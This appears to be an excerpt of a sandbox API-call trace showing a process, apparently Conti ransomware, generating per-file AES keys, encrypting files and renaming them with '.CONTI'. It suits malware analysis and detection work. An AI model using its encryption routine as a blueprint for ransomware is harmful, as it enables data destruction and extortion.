	[0149.625] WriteFile (in: hFile=0x2ec, lpBuffer=0x65d9734*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x65d9734*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0149.627] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.627] ReadFile (in: hFile=0x2ec, lpBuffer=0x9370000, nNumberOfBytesToRead=0xf67d, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0xf67d, lpOverlapped=0x0) returned 1
	[0149.631] CryptEncrypt (in: hKey=0x17de7d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0xf67d, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0xf680) returned 1
	[0149.631] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.631] WriteFile (in: hFile=0x2ec, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0xf680, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0xf680, lpOverlapped=0x0) returned 1
	[0149.631] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.631] WriteFile (in: hFile=0x2ec, lpBuffer=0x65d9728*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x65d9728*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0149.631] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.632] CloseHandle (hObject=0x2ec) returned 1
	[0149.632] GetProcessHeap () returned 0x1720000
	[0149.632] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.632] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm"
	[0149.632] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm.CONTI"
	[0149.632] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_et-ee.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_et-ee.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_et-ee.htm.conti")) returned 1
	[0149.634] GetProcessHeap () returned 0x1720000
	[0149.634] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.634] CryptDestroyKey (hKey=0x17de7d0) returned 1
	[0149.635] GetProcessHeap () returned 0x1720000
	[0149.635] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5458 | out: hHeap=0x1720000) returned 1
	[0149.635] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0149.635] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x65d9058 | out: phKey=0x65d9058*=0x17de890) returned 1
	[0149.635] CryptExportKey (in: hKey=0x17de890, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d905c, pdwDataLen=0x3a7ff24 | out: pbData=0x65d905c*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0149.636] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-ca.htm")) returned 0x20
	[0149.637] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-ca.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0149.637] GetLastError () returned 0x0
	[0149.637] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=69386) returned 1
	[0149.637] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f0a
	[0149.637] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.637] SetEndOfFile (hFile=0x49c) returned 1
	[0149.638] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.638] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.638] WriteFile (in: hFile=0x49c, lpBuffer=0x65d905c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x65d905c*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0149.640] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.640] ReadFile (in: hFile=0x49c, lpBuffer=0x9370000, nNumberOfBytesToRead=0x10f0a, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x10f0a, lpOverlapped=0x0) returned 1
	[0149.646] CryptEncrypt (in: hKey=0x17de890, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x10f0a, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x10f10) returned 1
	[0149.646] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.646] WriteFile (in: hFile=0x49c, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x10f10, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x10f10, lpOverlapped=0x0) returned 1
	[0149.646] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.646] WriteFile (in: hFile=0x49c, lpBuffer=0x65d9050*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x65d9050*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0149.646] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.646] CloseHandle (hObject=0x49c) returned 1
	[0149.646] GetProcessHeap () returned 0x1720000
	[0149.646] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.646] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm"
	[0149.646] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm.CONTI"
	[0149.646] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-ca.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-ca.htm.conti")) returned 1
	[0149.647] GetProcessHeap () returned 0x1720000
	[0149.647] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.647] CryptDestroyKey (hKey=0x17de890) returned 1
	[0149.647] GetProcessHeap () returned 0x1720000
	[0149.647] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5020 | out: hHeap=0x1720000) returned 1
	[0149.647] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0149.647] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x65dae00 | out: phKey=0x65dae00*=0x17de750) returned 1
	[0149.647] CryptExportKey (in: hKey=0x17de750, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dae04, pdwDataLen=0x3a7ff24 | out: pbData=0x65dae04*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0149.648] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_he-il.htm")) returned 0x20
	[0149.648] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_he-il.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0149.648] GetLastError () returned 0x0
	[0149.648] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=864647) returned 1
	[0149.648] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd3187
	[0149.648] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.648] SetEndOfFile (hFile=0x49c) returned 1
	[0149.649] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.649] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.649] WriteFile (in: hFile=0x49c, lpBuffer=0x65dae04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x65dae04*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0151.536] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.536] ReadFile (in: hFile=0x49c, lpBuffer=0x9370000, nNumberOfBytesToRead=0xd3187, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0xd3187, lpOverlapped=0x0) returned 1
	[0151.544] CryptEncrypt (in: hKey=0x17de750, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0xd3187, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0xd3190) returned 1
	[0151.554] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.554] WriteFile (in: hFile=0x49c, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0xd3190, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0xd3190, lpOverlapped=0x0) returned 1
	[0151.556] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.557] WriteFile (in: hFile=0x49c, lpBuffer=0x65dadf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x65dadf8*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0151.557] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.557] CloseHandle (hObject=0x49c) returned 1
	[0151.557] GetProcessHeap () returned 0x1720000
	[0151.557] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ca90c0
	[0151.557] lstrcpyW (in: lpString1=0x6ca90c0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm"
	[0151.557] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm.CONTI"
	[0151.557] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_he-il.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_he-il.htm.conti")) returned 1
	[0151.580] GetProcessHeap () returned 0x1720000
	[0151.580] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ca90c0 | out: hHeap=0x1720000) returned 1
	[0151.580] CryptDestroyKey (hKey=0x17de750) returned 1
	[0151.580] GetProcessHeap () returned 0x1720000
	[0151.581] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c54d0 | out: hHeap=0x1720000) returned 1
	[0151.581] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0151.581] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x65ddde8 | out: phKey=0x65ddde8*=0x17de490) returned 1
	[0151.581] CryptExportKey (in: hKey=0x17de490, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dddec, pdwDataLen=0x3a7ff24 | out: pbData=0x65dddec*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0151.581] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\logo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\logo.png")) returned 0x20
	[0151.582] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\logo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0151.582] GetLastError () returned 0x0
	[0151.582] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=2611) returned 1
	[0151.582] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa33
	[0151.582] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.582] SetEndOfFile (hFile=0x49c) returned 1
	[0151.582] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.582] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.582] WriteFile (in: hFile=0x49c, lpBuffer=0x65dddec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x65dddec*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0151.585] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.585] ReadFile (in: hFile=0x49c, lpBuffer=0x9370000, nNumberOfBytesToRead=0xa33, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0xa33, lpOverlapped=0x0) returned 1
	[0151.585] CryptEncrypt (in: hKey=0x17de490, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0xa33, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0xa40) returned 1
	[0151.585] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.585] WriteFile (in: hFile=0x49c, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0xa40, lpOverlapped=0x0) returned 1
	[0151.585] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.585] WriteFile (in: hFile=0x49c, lpBuffer=0x65ddde0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x65ddde0*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0151.585] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.585] CloseHandle (hObject=0x49c) returned 1
	[0151.585] GetProcessHeap () returned 0x1720000
	[0151.585] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.585] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\logo.png" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\logo.png") returned="C:\\Windows10Upgrade\\resources\\ux\\logo.png"
	[0151.585] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\logo.png", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\logo.png.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\logo.png.CONTI"
	[0151.585] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\logo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\logo.png"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\logo.png.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\logo.png.conti")) returned 1
	[0151.586] GetProcessHeap () returned 0x1720000
	[0151.586] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.586] CryptDestroyKey (hKey=0x17de490) returned 1
	[0151.586] GetProcessHeap () returned 0x1720000
	[0151.586] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741100 | out: hHeap=0x1720000) returned 1
	[0151.586] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0151.586] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x65dd710 | out: phKey=0x65dd710*=0x17de910) returned 1
	[0151.586] CryptExportKey (in: hKey=0x17de910, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dd714, pdwDataLen=0x3a7ff24 | out: pbData=0x65dd714*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0151.587] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\marketing.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\marketing.png")) returned 0x20
	[0151.587] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\marketing.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\marketing.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0151.587] GetLastError () returned 0x0
	[0151.587] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=493) returned 1
	[0151.587] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1ed
	[0151.587] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.587] SetEndOfFile (hFile=0x49c) returned 1
	[0151.592] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.592] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.592] WriteFile (in: hFile=0x49c, lpBuffer=0x65dd714*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x65dd714*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0151.595] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.595] ReadFile (in: hFile=0x49c, lpBuffer=0x9370000, nNumberOfBytesToRead=0x1ed, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x1ed, lpOverlapped=0x0) returned 1
	[0151.595] CryptEncrypt (in: hKey=0x17de910, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x1ed, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x1f0) returned 1
	[0151.595] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.595] WriteFile (in: hFile=0x49c, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x1f0, lpOverlapped=0x0) returned 1
	[0151.595] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.595] WriteFile (in: hFile=0x49c, lpBuffer=0x65dd708*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x65dd708*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0151.595] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.595] CloseHandle (hObject=0x49c) returned 1
	[0151.595] GetProcessHeap () returned 0x1720000
	[0151.595] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.595] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\marketing.png" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\marketing.png") returned="C:\\Windows10Upgrade\\resources\\ux\\marketing.png"
	[0151.595] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\marketing.png", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\marketing.png.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\marketing.png.CONTI"
	[0151.595] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\marketing.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\marketing.png"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\marketing.png.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\marketing.png.conti")) returned 1
	[0151.596] GetProcessHeap () returned 0x1720000
	[0151.596] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.596] CryptDestroyKey (hKey=0x17de910) returned 1
	[0151.596] GetProcessHeap () returned 0x1720000
	[0151.596] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1010 | out: hHeap=0x1720000) returned 1
	[0151.596] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0151.596] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x65dc718 | out: phKey=0x65dc718*=0x17debd0) returned 1
